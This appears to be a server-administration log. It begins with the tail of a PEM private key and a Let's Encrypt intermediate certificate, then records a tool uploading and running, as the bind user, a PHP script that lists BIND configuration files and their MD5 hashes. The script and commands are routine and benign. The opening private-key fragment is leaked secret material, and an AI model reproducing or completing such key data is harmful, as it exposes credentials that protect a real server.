AGaM+VaKaRNf6xpxLm6BxhMsBYm3S/LOgXXlnJUId6lUmtTpkLRMilxjPJIFx0X0
H4Ml2hHft+z+7rfkURQB9MA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-06 12:10:33: Establishing a connection
2026-04-06 12:10:33: 

PUT: /tmp/pkp429579

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-06 12:10:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp429579; rm /tmp/pkp429579'

2026-04-06 12:10:33: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-06 22:59:53: Establishing a connection
2026-04-06 23:00:05: Establishing a connection
2026-04-06 23:00:05: 

PUT: /tmp/pkp997783

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-06 23:00:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp997783; rm /tmp/pkp997783'

2026-04-06 23:00:06: 


PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
